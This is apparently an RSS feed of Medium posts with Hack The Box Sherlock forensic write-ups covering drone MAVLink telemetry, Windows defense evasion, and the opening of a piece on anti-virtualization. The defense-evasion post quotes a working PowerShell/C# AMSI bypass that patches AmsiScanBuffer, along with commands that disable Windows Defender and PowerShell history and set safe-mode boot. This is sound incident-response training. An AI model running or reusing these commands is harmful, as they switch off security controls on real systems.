EKF3 IMU0 is using GPS, id : 0, chunk_seq : 0}<br>2026-03-06 11:21:55.23: STATUSTEXT {severity : 6, text : EKF3 IMU1 is using GPS, id : 0, chunk_seq : 0}<br>2026-03-06 11:22:01.66: STATUSTEXT {severity : 6, text : Arming motors, id : 0, chunk_seq : 0}<br>2026-03-06 11:22:03.66: STATUSTEXT {severity : 6, text : Mission: 1 Takeoff, id : 0, chunk_seq : 0}<br>2026-03-06 11:22:11.66: STATUSTEXT {severity : 6, text : Disarming motors, id : 0, chunk_seq : 0}<br>2026-03-06 11:22:11.66: STATUSTEXT {severity : 6, text : Mission: 1 Takeoff, id : 0, chunk_seq : 0}</pre><p>As clearly shown above, the Arming motors text was logged at 2026-03-06 11:22:01.66. I can also see three failed arming attempts before the drone was successfully armed. Since the answer format omitts the last part, the answer for task 1 is <strong>2026-03-16 11:22:01</strong>.</p><h3>Task 2</h3><p>“<strong><em>What flight mode was active at the moment of arming?</em></strong>”</p><p>On <a href="https://ardupilot.org/copter/docs/flight-modes.html#flight-modes">ArduPilot’s documentation</a>, all flight modes are listed. The documentation explains that flight modes are controlled through the radio, via mission commands, or using commands from the ground station.</p><p>The autopilot can report about its current status through <em>HEARTBEAT</em>. According to the <a href="https://mavlink.io/en/messages/common.html#HEARTBEAT">documentation</a>, base_mode and custom_mode contains mode information. Additionally, the <a href="https://mavlink.io/en/messages/ardupilotmega.html#COPTER_MODE">ArduPilot MAVLink documentation</a> contains a mapping of copter flight modes for the custom_mode field of HEARTBEAT.</p><p>So, I’m looking for a HEARTBEAT entry before the drone was armed (2026-03-16 11:22:01). This heartbeat must also be from the autopilot of the drone, not the ground station. Based on this, I ran the following command:</p><pre>$ mavlogdump.py --types HEARTBEAT mav.tlog | grep -v &quot;HEARTBEAT {type : 6&quot;</pre><p>This command will only show heartbeat entries which does not come from the groundstation (-v inverts the matching: shows non-matching lines).</p><p>In the output, I scrolled until I saw the last entry before 2026-03-06 11:22:01.66:</p><pre>2026-03-06 11:22:01.65: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 4, system_status : 3, mavlink_version : 3}</pre><p>This line shows that the custom_mode value was set to 4 right before the drone motors were armed. According to the <a href="https://mavlink.io/en/messages/ardupilotmega.html#COPTER_MODE">ArduPilot MAVLink documentation</a>, custom_mode 4 maps to the flight mode guided.</p><p><strong>Answer: </strong><strong>guided</strong></p><h3>Task 3</h3><p>“<strong><em>How many arming attempts failed before the motors successfully armed?</em></strong>”</p><p>Luckily, I already found the answer to this question in Task 1. By viewing all entries mentioning STATUSTEXT, we can clearly see that there was three arming attempts before the motors were successfully armed:</p><pre>$ mavlogdump.py mav.tlog | grep &quot;STATUSTEXT&quot;<br>(truncated for brevity)<br>2026-03-06 11:21:34.67: STATUSTEXT {severity : 2, text : Arm: Need Position Estimate, id : 0, chunk_seq : 0}<br>2026-03-06 11:21:44.06: STATUSTEXT {severity : 2, text : PreArm: Need Position Estimate, id : 0, chunk_seq : 0}<br>2026-03-06 11:21:48.65: STATUSTEXT {severity : 2, text : Arm: Need Position Estimate, id : 0, chunk_seq : 0}<br>2026-03-06 11:21:55.23: STATUSTEXT {severity : 6, text : EKF3 IMU0 is using GPS, id : 0, chunk_seq : 0}<br>2026-03-06 11:21:55.23: STATUSTEXT {severity : 6, text : EKF3 IMU1 is using GPS, id : 0, chunk_seq : 0}<br>2026-03-06 11:22:01.66: STATUSTEXT {severity : 6, text : Arming motors, id : 0, chunk_seq : 0}<br>2026-03-06 11:22:03.66: STATUSTEXT {severity : 6, text : Mission: 1 Takeoff, id : 0, chunk_seq : 0}<br>2026-03-06 11:22:11.66: STATUSTEXT {severity : 6, text : Disarming motors, id : 0, chunk_seq : 0}<br>2026-03-06 11:22:11.66: STATUSTEXT {severity : 6, text : Mission: 1 Takeoff, id : 0, chunk_seq : 0}</pre><p><strong>Answer: </strong><strong>3</strong></p><h3>Task 4</h3><p>“<strong><em>How many seconds elapsed from the first telemetry message to the successful arm?</em></strong>”</p><p>I know from task 1 that the motors were successfully armed at 2026-03-06 11:22:01. Next, to view the first telemetry messages, I simply ran:</p><pre>$ mavlogdump.py mav.tlog | head<br>2026-03-06 11:21:04.33: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 0, system_status : 1, mavlink_version : 3}<br>2026-03-06 11:21:04.37: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 0, system_status : 1, mavlink_version : 3}<br>2026-03-06 11:21:04.44: HEARTBEAT {type : 6, autopilot : 8, base_mode : 0, custom_mode : 0, system_status : 0, mavlink_version : 3}<br>2026-03-06 11:21:05.24: STATUSTEXT {severity : 6, text : Barometer 1 calibration complete, id : 0, chunk_seq : 0}<br>2026-03-06 11:21:05.24: STATUSTEXT {severity : 6, text : Barometer 2 calibration complete, id : 0, chunk_seq : 0}<br>2026-03-06 11:21:05.24: PARAM_VALUE {param_id : BARO1_GND_PRESS, param_value : 101323.84375, param_type : 9, param_count : 1369, param_index : 65535}<br>2026-03-06 11:21:05.24: PARAM_VALUE {param_id : BARO2_GND_PRESS, param_value : 101324.4765625, param_type : 9, param_count : 1369, param_index : 65535}<br>2026-03-06 11:21:05.24: PARAM_VALUE {param_id : INS_GYR_ID, param_value : 2752772.0, param_type : 6, param_count : 1369, param_index : 65535}<br>2026-03-06 11:21:05.24: PARAM_VALUE {param_id : INS_ACC_ID, param_value : 2753028.0, param_type : 6, param_count : 1369, param_index : 65535}<br>2026-03-06 11:21:05.24: PARAM_VALUE {param_id : INS_GYR2_ID, param_value : 2752780.0, param_type : 6, param_count : 1369, param_index : 65535}</pre><p>Above we see that the first telemetry message was logged at 2026-03-06 11:21:04.33. This is a difference of 57 seconds.</p><p><strong>Answer: </strong><strong>57</strong></p><h3>Task 5</h3><p>“<strong><em>How many distinct autopilot flight modes appear in the telemetry log?</em></strong>”</p><p>I already know that the flight modes are set through the custom_mode field. In other words, I must simply count all distinct values of the custom_mode field where the sender is the drone. In Task 2, I identified the drone as type : 2, autopilot : 3. Based on this, I ran the following command:</p><pre>$ mavlogdump.py --types HEARTBEAT mav.tlog \<br>&gt; | grep &quot;HEARTBEAT {type : 2, autopilot : 3,&quot; \<br>&gt; | grep -oE &#39;custom_mode : [0-9]+&#39; \<br>&gt; | sort -u</pre><p>This command will first look for heartbeat entries from the drone (type : 2, autopilot : 3). Then it will extract the custom_mode and its value. Lastly, the sort -u removes all dubplicates. The command got the following result:</p><pre>custom_mode : 0<br>custom_mode : 3<br>custom_mode : 4<br>custom_mode : 5<br>custom_mode : 6</pre><p>This means that the modes 0 (STABILIZE), 3 (AUTO), 4 (GUIDED), 5 (LOITER) and 6 (RTL) appears in the telemetry logs. That’s five distinct autopilot flight modes.</p><p><strong>Answer: </strong><strong>5</strong></p><h3>Task 6</h3><p>“<strong><em>At what UTC timestamp was the flight plan received?</em></strong>”</p><p>I was not able to find a source that explains where and how the flightplan gets received. Therefore, I started with a simple grep-based search:</p><pre>$ mavlogdump.py mav.tlog | grep &quot;plan&quot;<br>2026-03-06 11:21:24.64: STATUSTEXT {severity : 6, text : Flight plan received, id : 0, chunk_seq : 0}</pre><p>Luckily, there was only one entry in the log that contained the string “plan” — and this is the entry for Flight plan received at 2026-03-06 11:21:24.64.</p><p><strong>Answer: </strong><strong>2026-03-06 11:21:24</strong></p><h3>Task 7</h3><p>“<strong><em>How many seconds elapsed from flight-plan receipt to the successful arm?</em></strong>”</p><p>I know from task 1 that the motors were successfully armed at 2026-03-06 11:22:01. From the previous task, I know that the flight plan was received at 2026-03-06 11:21:24. Simple math: 37 seconds elapsed.</p><p><strong>Answer: </strong><strong>37</strong></p><h3>Task 8</h3><p>“<strong><em>At what UTC timestamp did “EKF3 IMU0 is using GPS” first appear?</em></strong>”</p><p>To find when the string EKF3 IMU0 is using GPS first appeared in the logs, I simply did a grep-based search:</p><pre>$ mavlogdump.py mav.tlog | grep &quot;EKF3 IMU0 is using GPS&quot;<br>2026-03-06 11:21:55.23: STATUSTEXT {severity : 6, text : EKF3 IMU0 is using GPS, id : 0, chunk_seq : 0}</pre><p>This resulted in only one entry containing the string, which happened at 2026-03-06 11:21:55.23.</p><p><strong>Answer: </strong><strong>2026-03-06 11:21:55</strong></p><h3>Task 9</h3><p>“<strong><em>How many seconds elapsed from “EKF3 IMU0 origin set” to the successful arm?</em></strong>”</p><p>I know from task 1 that the motors were successfully armed at 2026-03-06 11:22:01. To find when the string EKF3 IMU0 origin set was first mentioned in the logs, I did the following grep-based search:</p><pre>$ mavlogdump.py mav.tlog | grep &quot;EKF3 IMU0 origin set&quot;<br>2026-03-06 11:21:30.02: STATUSTEXT {severity : 6, text : EKF3 IMU0 origin set, id : 0, chunk_seq : 0}</pre><p>The string was first mentioned at 2026-03-06 11:21:30.02. Simple math: 31 seconds elapsed from the string was mentioned in the logs to the successful arm.</p><p><strong>Answer: </strong><strong>31</strong></p><h3>Task 10</h3><p>“<strong><em>At what UTC timestamp did the autopilot first switch to LOITER?</em></strong>”</p><p>Based on the <a href="https://mavlink.io/en/messages/ardupilotmega.html#COPTER_MODE">list of copter modes</a>, the custom_mode value for LOITER is 5. To find when the autopilot first switched to LOITER, I did the following grep-based search:</p><pre>$ mavlogdump.py --types HEARTBEAT mav.tlog | grep &quot;custom_mode : 5&quot;<br>2026-03-06 11:27:35.12: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}<br>2026-03-06 11:27:35.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}<br>2026-03-06 11:27:36.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}<br>2026-03-06 11:27:37.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}<br>2026-03-06 11:27:38.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}<br>2026-03-06 11:27:39.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}<br>2026-03-06 11:27:40.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}<br>2026-03-06 11:27:41.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}<br>2026-03-06 11:27:42.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}<br>2026-03-06 11:27:43.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}<br>2026-03-06 11:27:44.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}<br>2026-03-06 11:27:45.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}<br>2026-03-06 11:27:46.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 5, system_status : 3, mavlink_version : 3}</pre><p>All of these entries have type : 2, autopilot : 3 meaning that it’s heartbeat entries from the drone. In other words, all of these entries shows when the autopilot switched to custom_mode 5. The first entry is at 2026-03-06 11:27:35.12.</p><p><strong>Answer: </strong><strong>2026-03-06 11:27:35</strong></p><h3>Task 11</h3><p>“<strong><em>At what UTC timestamp did the autopilot first switch to RTL?</em></strong>”</p><p>Based on the <a href="https://mavlink.io/en/messages/ardupilotmega.html#COPTER_MODE">list of copter modes</a>, the custom_mode value for RTL is 6. To find when the autopilot first switched to RTL, I did the following grep-based search:</p><pre>$ mavlogdump.py --types HEARTBEAT mav.tlog | grep &quot;custom_mode : 6&quot;<br>2026-03-06 11:27:47.13: HEARTBEAT {type : 2, autopilot : 3, base_mode : 89, custom_mode : 6, system_status : 3, mavlink_version : 3}<br>2026-03-06 11:27:47.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 81, custom_mode : 6, system_status : 3, mavlink_version : 3}<br>2026-03-06 11:27:48.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 81, custom_mode : 6, system_status : 3, mavlink_version : 3}<br>2026-03-06 11:27:49.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 81, custom_mode : 6, system_status : 3, mavlink_version : 3}<br>2026-03-06 11:27:50.68: HEARTBEAT {type : 2, autopilot : 3, base_mode : 81, custom_mode : 6, system_status : 3, mavlink_version : 3}<br>(truncated)</pre><p>All of these entries have type : 2, autopilot : 3 meaning that it’s heartbeat entries from the drone. In other words, all of these entries shows when the autopilot switched to custom_mode 6. The first entry is at 2026-03-06 11:27:47.13.</p><p><strong>Answer: </strong><strong>2026-03-06 11:27:47</strong></p><h3>Task 12</h3><p>“<strong><em>How many seconds elapsed between the first LOITER HEARTBEAT and the first RTL HEARTBEAT?</em></strong>”</p><p>Based on the two previous tasks, I know that the first LOITER HEARTBEAT was at 2026-03-06 11:27:35.12 and that the first RTL HEARTBEAT was at 2026-03-06 11:27:47.13. Simple math: 12 seconds elapsed.</p><p><strong>Answer: </strong><strong>12</strong></p><h3>Task 13</h3><p>“<strong><em>What GPS fix_type was the receiver reporting at the moment the motors armed?</em></strong>”</p><p>According to <a href="https://mavlink.io/en/messages/common.html#GPS_RAW_INT">MAVLINK Common Message Set</a>, the GPS_RAW_INT contains the fix_type field. This field contains values of the <a href="https://mavlink.io/en/messages/common.html#GPS_FIX_TYPE">GPS_FIX_TYPE</a>, which can be any of the following:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*y92EAgILcU5feiO5Jm0mnA.png" /></figure><p>To find what the GPS fix_type the receiver was reporting at the moment the motors armed, I simply ran the following command:</p><pre>$ mavlogdump.py --types GPS_RAW_INT mav.tlog </pre><p>The output was quite long, so I scrolled until I saw a timestamp right before 2026-03-06 11:22:01.66. As you can see below, fix_type was set to 6 just 30 milliseconds before the motors were armed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/906/1*nIrT1gG1NBMaFBQYN1kORA.png" /></figure><p>This means that the fix_type was set to GPS_FIX_TYPE_RTK_FIXED, which has the description RTK Fixed, 3D position.</p><p><strong>Answer: </strong><strong>6</strong></p><h3>The End</h3><p>If you got this far, thanks for reading! I hope it provided you with some value, at least I learned a lot. I assume that my write-up contains some unnuanced statements and explanations, so please excuse me. This is the very first time I have worked on something like this.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=401f5c80afc2" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hack The Box: Remote_Access_Regret — Sherlock]]></title>
            <link>https://medium.com/@coldbyte.main/hack-the-box-remote-access-regret-sherlock-5cae0a9afd01?source=rss-e604ced5b7a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/5cae0a9afd01</guid>
            <category><![CDATA[amsi-bypas]]></category>
            <category><![CDATA[powershell]]></category>
            <category><![CDATA[windows-event-logs]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[defense-evasion]]></category>
            <dc:creator><![CDATA[ColdByte]]></dc:creator>
            <pubDate>Fri, 09 Oct 2026 15:23:35 GMT</pubDate>
            <atom:updated>2026-10-09T15:26:34.944Z</atom:updated>
            <content:encoded><![CDATA[<h3>Hack The Box: Remote_Access_Regret — Sherlock</h3><h3>Task description</h3><p>Byte Doctor Reyes is investigating a stealthy post-breach attack where several expected security logs and Windows Defender alerts appear to be missing. He suspects the attacker employed defense evasion techniques to disable or manipulate security controls, significantly complicating detection efforts.</p><p>Using the exported event logs, your objective is to uncover how the attacker compromised the system’s defenses to remain undetected.</p><p>I will use <a href="https://omerbenamram.github.io/evtx/"><strong>EVTX Viewer</strong></a> to solve the tasks.</p><h3>Task 1</h3><p>“<strong><em>The attacker disabled LSA protection on the compromised host by modifying a registry key. What is the full path of that registry key?</em></strong>”</p><p>According to <a href="https://netwrix.com/en/resources/blog/understanding-lsa-protection/">netwrix</a>, LSA (Local Security Authority) controls and manages user rights information, password hashes and other important information in memory. LSA protection prevents non-protected processes from accessing that data. To be considered a protected process, the process must, among other things, have a verified signature from Microsoft.</p><p>According to <a href="https://attack.mitre.org/datacomponents/DC0063/">MITRE ATT&amp;CK</a>, the relevant event IDs for registry key modification is <strong>4657</strong> in Windows Event Logs, and <strong>13 </strong>and <strong>14 </strong>in Sysmon logs. Sysmon Event ID 13 records changes to the registry values, while Sysmon Event ID 14 records renaming of registry keys.</p><p>Based on this, I applied the filter <strong>event_id:13 lsa </strong>on the Microsoft-Windows-Sysmon-Operational.evtx logfile. This will only show changes to registry values where the string “lsa” is mentioned. This resulted in 5 events:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kdXlBwPg8cdYFOIPgaewCg.png" /></figure><p>These events modified the following registry values in order:</p><ul><li>HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\LSASS.exe\AuditLevel</li><li>HKLM\System\CurrentControlSet\Control\Lsa\RunAsPPLBoot</li><li>HKLM\System\CurrentControlSet\Control\Lsa\LsaCfgFlagsDefault</li><li>HKLM\System\CurrentControlSet\Control\Lsa\ProductType</li><li>HKLM\System\CurrentControlSet\Control\Lsa\RunAsPPL</li></ul><p>According to the article by <a href="https://netwrix.com/en/resources/blog/understanding-lsa-protection/">netwrix</a>, you must set the value of RunAsPPL to “1” to enable LSA protection. For this task, it’s important to remember the distinction between registry keys and values. Keys are the folder, i.e. HKLM\System\CurrentControlSet\Control\Lsa, while registry values are the settings themselves (i.e. RunAsPPL).</p><p><strong>Answer: </strong><strong>\HKLM\System\CurrentControlSet\Control\LSA</strong></p><h3>Task 2</h3><p>“<strong><em>Which PowerShell command did the attacker first execute to disable Windows Defender?</em></strong>”</p><p>This <a href="https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/defense-evasion/disable-defender">article by Pentest Everything</a> describes disabling and bypassing Windows Defenser for defense evasion. It lists 9 different commands to disable different parts of Windows Defender, all of which starts with Set-MPPreference.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/774/1*EiFmfKfoXmD10qbjLEHaVg.png" /></figure><p>To solve this task, I used the filter event_id:4104 Set-MPPreferenceon the Microsoft-Windows-Powershell-Operational.evtx log file. Why event ID 4104? Because this event is logged whenever a script is run through PowerShell. This resulted in a total of 5 events:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mGiW6221duBAbw0POgZ0qQ.png" /></figure><p>The first command the attacker executed was:</p><pre>Set-MpPreference -DisableIOAVProtection $true -DisableEmailScanning $true -DisableBlockAtFirstSeen $true</pre><p>This means that the attacker disabled scanning for downloaded files or attachment, as well as email scanning. Lastly, the attacker disabled “Block At First Seen” which normally detects and blocks new malware within seconds.</p><p><strong>Answer: </strong><strong>Set-MpPreference -DisableIOAVProtection $true -DisableEmailScanning $true -DisableBlockAtFirstSeen $true</strong></p><h3>Task 3</h3><p>“<strong><em>The attacker loaded an AMSI patch written in PowerShell. Which function in the DLL is being patched by the script to effectively disable AMSI?</em></strong>”</p><p>According to <a href="https://medium.com/@R1ch4T/a-closer-look-at-amsi-in-windows-29bd79989e35">this article by R1cH4t</a>, AMSI (Antimalware Scan Interface) ensures that any antivirus that you have installed can scan scripts and code before it executes. This resulted in better detection of fileless malware and malicious scripts, however, attackers have developed bypass techniques.</p><p>To solve this task, I used the filter event_id:4104 dllon the Microsoft-Windows-Powershell-Operational.evtx log file. I used event ID 4104 to only see script execution, and added the “dll” filter to only see commands involving/mentioning DLL. This resulted in two events:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6yQMJolb71PLS2Jd9x9ixw.png" /></figure><p>These two events contains the exact same value in the ScriptBlockText field:</p><pre>function Disable-Protection {<br>    $k = @&quot;<br>using System;<br>using System.Runtime.InteropServices;<br><br>public class P<br>{<br>    [DllImport(&quot;kernel32.dll&quot;)]<br>    public static extern IntPtr GetProcAddress(<br>        IntPtr hModule,<br>        string procName<br>    );<br><br>    [DllImport(&quot;kernel32.dll&quot;)]<br>    public static extern IntPtr GetModuleHandle(<br>        string lpModuleName<br>    );<br><br>    [DllImport(&quot;kernel32.dll&quot;)]<br>    public static extern bool VirtualProtect(<br>        IntPtr lpAddress,<br>        UIntPtr dwSize,<br>        uint flNewProtect,<br>        out uint lpflOldProtect<br>    );<br><br>    public static bool Patch()<br>    {<br>        IntPtr h = GetModuleHandle(<br>            &quot;a&quot; + &quot;m&quot; + &quot;s&quot; + &quot;i&quot; + &quot;.dll&quot;<br>        );<br><br>        if (h == IntPtr.Zero)<br>            return false;<br><br>        IntPtr a = GetProcAddress(<br>            h,<br>            &quot;A&quot; + &quot;m&quot; + &quot;s&quot; + &quot;i&quot; +<br>            &quot;S&quot; + &quot;c&quot; + &quot;a&quot; + &quot;n&quot; +<br>            &quot;B&quot; + &quot;u&quot; + &quot;f&quot; + &quot;f&quot; + &quot;e&quot; + &quot;r&quot;<br>        );<br><br>        if (a == IntPtr.Zero)<br>            return false;<br><br>        UInt32 oldProtect;<br><br>        if (!VirtualProtect(a, (UIntPtr)5, 0x40, out oldProtect))<br>            return false;<br><br>        byte[] patch = { 0x31, 0xC0, 0xC3 };<br><br>        Marshal.Copy(patch, 0, a, patch.Length);<br><br>        return VirtualProtect(<br>            a,<br>            (UIntPtr)5,<br>            oldProtect,<br>            out oldProtect<br>        );<br>    }<br>}<br>&quot;@<br><br>    Add-Type -TypeDefinition $k<br><br>    $result = [P]::Patch()<br><br>    if ($result) {<br>        Write-Output &quot;Protection Disabled&quot;<br>    }<br>    else {<br>        Write-Output &quot;Failed to Disable Protection&quot;<br>    }<br>}</pre><p>This function tries to bypass AMSI by finding AmsiScanBuffer in amsi.dll and overwriting the first instructions in memory. To sum up: the attacker created a function to bypass AMSI at 04/10/2025 06:37:47.960.</p><p>The next step is to see if this function was ever called. I applied the filter event_id:4104 &quot;Disable-Protection&quot;. This resulted in the three events, two of which is the ones I saw earlier.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/492/1*17sRmBqcJn5-TEB0bYSYug.png" /></figure><p>The new event contained Disable-Protection in the ScriptBlockText field, meaning that the function was called. This happened at 04/10/2025 06:37:49.836, nearly two seconds after the function was created.</p><p>The last step is to find the result — was the attacker successful in bypassing AMSI? For this, I applied the filter event_id:4103 &quot;Protection Disabled&quot;. This resulted in two events:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lLDQIxZcxl9ZA2fgrufBqg.png" /></figure><p>Both of these events happened simultaneously, at 04/10/2025 06:37:50.700. One of these invoked Write-Output with the value Protection Disabled, which confirms that the $result variable in the function was set to true and that the AMSI bypass was succesful. The second one invoked Out-Default, meaning that the message Protection Disabled was displayed.</p><p>Now that I have the timeline of the AMSI bypass, I conclude that the function in the DLL that is being patched to disable AMSI is AmsiScanBuffer.</p><p><strong>Answer: </strong><strong>AmsiScanBuffer</strong></p><h3>Task 4</h3><p>“<strong><em>Which command did the attacker use to restart the machine in Safe Mode?</em></strong>”</p><p>To solve this, I applied the filter event_id:4104 on the Microsoft-Windows-Powershell-Operational.evtx log file. I then sorted the events based on date and time, and looked at the events <em>after</em> 04/10/2025 06:37:50.700. Luckily, there was only six events after that:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*T00PMa8Bswwct-TgqVhdsQ.png" /></figure><p>Out of these events, only one contains content in ScriptBlockText that seems relevant for this task:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*RMzsoR6cfZm1EOEs3modHw.png" /></figure><p>As we can clearly see, the command bcdedit /set safeboot network was run at 04/10/2025 06:38:35.402. The command uses BCDEdit to configure Windows to start in safe mode with network access upon the next restart.</p><p><a href="https://learn.microsoft.com/en-us/windows-hardware/manufacture/desktop/bcdedit-command-line-options?view=windows-11">BCDEdit</a>, or Boot Configuration Data Edit, is a command-line tool for managing BCD files, which is used to describe boot applications and boot application settings. This <a href="https://www.ninjaone.com/blog/what-bcdedit-does-and-how-to-use-it/">article by ninjaOne</a> describes that it can be used to enable Safe Mode.</p><p>However, as far as I know, you cannot use BCDEdit itself to restart the computer. ChatGPT and Gemini also supports this.</p><p>Additionally, the only other command executed after this is Set-PSReadlineOption -HistorySaveStyle SaveNothing. This only disables the storage of PowerShell command history for the current session, and has nothing to do with rebooting.</p><p>I was a bit stuck here, as the only command that seems relevant is bcdedit /set safeboot network, however this is not an accepted answer. No other commands that I can find seems relevant.</p><p>Therefore, I opened the official write-up, where I saw that this is the correct answer — we just need to use the file extension .exe. This also matches the answer pattern for the task, but guessing just feels wrong.</p><p>I still think that is <em>not</em> the correct answer, since (as far as I know) BCDEdit cannot be used to restart the computer. This is the command that makes the computer boot in safe mode after the next restart, though the command itself does not restart the computer. <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/devtest/bcdedit--deletevalue">Microsoft themselves says</a> that you must restart the computer for the change to take effect.</p><p><strong>Answer: </strong><strong>bcdedit.exe /set safeboot network</strong></p><h3>Task 5</h3><p>“<strong><em>Which PowerShell command did the attacker use to disable PowerShell command history logging?</em></strong>”</p><p>I already found this when looking for the command used to restart the computer in safe mode. The event at 04/10/2025 06:38:43.549 included the following content in ScriptBlockText:</p><pre>Set-PSReadlineOption -HistorySaveStyle SaveNothing</pre><p>This command disables the storage of PowerShell command history for the current session.</p><p><strong>Answer: </strong><strong>Set-PSReadlineOption -HistorySaveStyle SaveNothing</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5cae0a9afd01" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTB Sherlocks Operation Blackout 2025: Phantom Check — Write Up]]></title>
            <link>https://medium.com/@coldbyte.main/htb-sherlocks-operation-blackout-2025-phantom-check-write-up-1bdc9a274c7f?source=rss-e604ced5b7a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/1bdc9a274c7f</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[virtualization]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[ColdByte]]></dc:creator>
            <pubDate>Thu, 08 Oct 2026 15:38:41 GMT</pubDate>
            <atom:updated>2026-10-08T15:38:41.271Z</atom:updated>
            <content:encoded><![CDATA[<h3>Task description</h3><p>“Talion suspects that the threat actor carried out anti-virtualization checks to avoid detection in sandboxed environments. Your task is to analyze the event logs and identify the specific techniques used for virtualization detection. Byte Doctor requires evidence of the registry checks or processes the attacker executed to perform these checks.”</p><p>The task provided me with two files:</p><ul><li>Microsoft-Windows-Powershell.evtx</li><li>Windows-Powershell-Operational.evtx</li></ul><p>To view the evtx files, I will use <a href="https://omerbenamram.github.io/evtx/">EVTX Viewer</a>.</p><h3>Introduction — Anti-virtualization</h3><p>Anti-virtualization, also known as “anti-VM” is a technique used by malware to detect whether it is running inside a virtual machine or sandbox. If the malware detects a VM-environment or sandbox it may shut down and act harmless to avoid both detection and analysis.</p><p>The malware will usually check for monitoring tools (such as Sysinternals and Wireshark). <a href="https://attack.mitre.org/techniques/T1497/">MITRE ATT&amp;CK lists three sub-techniques</a> for virtualization and sandbox evasion:</p><ul><li><a href="https://attack.mitre.org/techniques/T1497/001/">System Checks</a></li><li><a href="https://attack.mitre.org/techniques/T1497/002/">User Activity Based Checks</a></li><li><a href="https://attack.mitre.org/techniques/T1497/003/">Time Based Checks</a></li></ul><p>These sub-techniques are three categories of tests the malware may perform to identify a virtualization or analysis environment. In short, the malware may check for security monitoring tools, system artifacts, legitimate user activity, and more.</p><h3>Task 1</h3><p>“<strong><em>Which WMI class did the attacker use to retrieve model and manufacturer information for virtualization 